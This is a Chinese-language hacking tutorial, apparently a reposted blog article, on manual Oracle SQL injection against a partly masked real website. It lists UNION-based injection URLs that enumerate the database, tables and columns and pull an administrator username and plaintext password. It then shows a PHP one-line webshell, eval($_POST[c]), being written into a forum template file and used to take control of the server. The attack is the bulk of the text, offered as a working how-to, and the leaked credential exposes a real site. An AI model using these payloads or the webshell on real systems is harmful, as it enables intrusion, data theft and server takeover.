(参考)oracle手工注入的方法

判断注入点

在链接地址后加上单引号,返回信息"java.sql.SQLException: ORA-01756",可初步判断为Oracle的数据库。

在链接后添加提交"/*",返回错误页面,说明数据库不是MySQL的。继续在注入点链接后添加"--",显示正常页面,说明数据库可能为MSSQL和Oracle。再提交:

http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from user_tables)>0--

http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from dual)>0--

都返回正常页面(图1),确认为Oracle的数据库。

图1确认Oracle注入

字段数目与字段类型检测

先检测注入点处查询字段数目,提交:

http://www.****china.com/jst/md_end.jsp?id=76 order by 10  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 5  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 8  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 7  //返回正常页面

说明当前表存在7个字段。下面再来检测字段类型,提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,4,5,6,7 from dual

返回错误信息,提示(图2):

expression must have same datatype

图2数据类型错误

很显然,提交的字段类型不正确,所以查询出错。于是改为提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual

返回正常页面,说明字段数目确实为7个,但是需要确定字段类型。依次提交如下:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 'null',null,null,null,null,null,null from dual  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,'null',null,null,null,null,null from dual  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,'null',null,null,null,null from dual  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,'null',null,null,null from dual  //返回正常页面

……

上面的查询中,用'null'字符串检测该字段处是否为字符型,如果返回正常页面则说明为字符型数据,返回错误页面,则说明该处为数字型。

提交检测完毕后,确认1,3,4,6,7位置处为字符型。提交如下:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3','4',5,'6','7' from dual

返回正常页面(图3),说明字段类型正确。

图3确认数据类型

检测注入点信息

对注入点进行简单的信息检测,可选择字符型字段处显示要查询的信息,提交如下:

http://www.****china.com/jst/md_end.jsp?id=76

and 1=2 union select (select banner from sys.v_$version where

rownum=1),2,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual),

(select member from v$logfile where rownum=1),5,'6', (select

instance_name from v$instance) from dual

从返回页面中得到各种信息(图4):

数据库版本为Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi;

前数据库连接用户名为TOTO;

操作系统平台为Linux;

服务器sid为racdb2。

图4返回注入点各种信息

查询获取表名

先来查询一下当前数据库中的表名,提交:

http://www.****china.com/jst/md_end.jsp?id=76

and 1=2 union select '1',2,'3',(select table_name from user_tables

where rownum=1),5,'6','7' from dual

图5

这里选择了字段4处返回信息,得到第1个表名为ACCOUNTS(图5)。

http://www.****china.com/jst/md_end.jsp?id=76

and 1=2 union select '1',2,'3',(select table_name from user_tables

where rownum=1 and table_name<>'ACCOUNTS'),5,'6','7' from dual

注意,表名一定要大写。提交后返回第2个表名为A_USER。再提交:

http://www.****china.com/jst/md_end.jsp?id=76

and 1=2 union select '1',2,'3',(select table_name from user_tables

where rownum=1 and table_name<>'ACCOUNTS' and

table_name<>'A_USER'),5,'6','7' from dual

得到第3个表名BOBO_URL_INFO。用同样的方法,可得到其它所有表名,发现其中有一个极为重要的表名USERMG。

查询获取字段名及内容

选择对USERMG表进行查询,提交:

http://www.****china.com/jst/md_end.jsp?id=76

and 1=2 union select '1',2,'3',(select column_name from

user_tab_columns where table_name='USERMG' and rownum=1),5,'6','7' from

dual

返回USERMG表中第一个字段名USER_NAME,再提交:

http://www.****china.com/jst/md_end.jsp?id=76

and 1=2 union select '1',2,'3',(select column_name from

user_tab_columns where table_name='USERMG' and

column_name<>'USER_NAME' and rownum=1),5,'6','7' from dual

图6返回表中字段名

返回第2个字段名USER_PASS(图6)。这两个字段名很明显是用来存储用户名和密码的,直接查询其内容:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select USERNAME,2,'3',USER_PASS,5,'6','7' from USERMG

返回页面中,得到了用户名和密码为:admin/toto11admin(图7)。

图7获得管理员帐号数据

登陆后台上传WebShell

没有直接查找到网站的后台,但是利用管理员帐号,可以从前台进行登录。登录进入后,发现可进入体彩论坛,在论坛中在论坛后台管理页面,直接用此帐号进行登陆,进入论坛管理后台。

在"论坛管理"→"界面风格"→"默认风格"→"详情"中,点击"新增变量",将变量内容设置为:

', '#999');eval($_POST[c]);

图8添加变量写入一句话木马

替换内容可随便填(图8)。点击"提交"按钮后,一句话木马就被写入模板风格文件中了。用一句话木马连接论坛风格页面文件:

http://bbs.****china.com/forumdata/cache/style_1.php

图9连接一句话木马

密码为c,粘贴入要上传的WebShell代码内容,即可连接一句话木马获得WebShell(图9)。WebShell的权限比较大,可轻易的控制远程网站服务器。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 196,264评论 5 462
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 82,549评论 2 373
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 143,389评论 0 325
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,616评论 1 267
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,461评论 5 358
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,351评论 1 273
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,776评论 3 387
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,414评论 0 255
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,722评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,760评论 2 314
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,537评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,381评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,787评论 3 300
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,030评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,304评论 1 252
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,734评论 2 342
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,943评论 2 336

推荐阅读更多精彩内容